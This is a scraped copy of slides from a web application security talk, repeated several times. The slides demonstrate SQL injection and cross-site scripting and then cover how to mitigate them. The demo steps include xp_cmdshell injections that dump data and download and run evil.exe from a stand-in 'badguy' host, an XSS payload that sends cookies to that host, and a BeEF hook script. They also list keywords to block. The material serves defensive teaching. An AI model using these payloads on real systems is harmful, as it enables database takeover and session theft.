bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 35: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 36: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 37: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 38: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 39: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

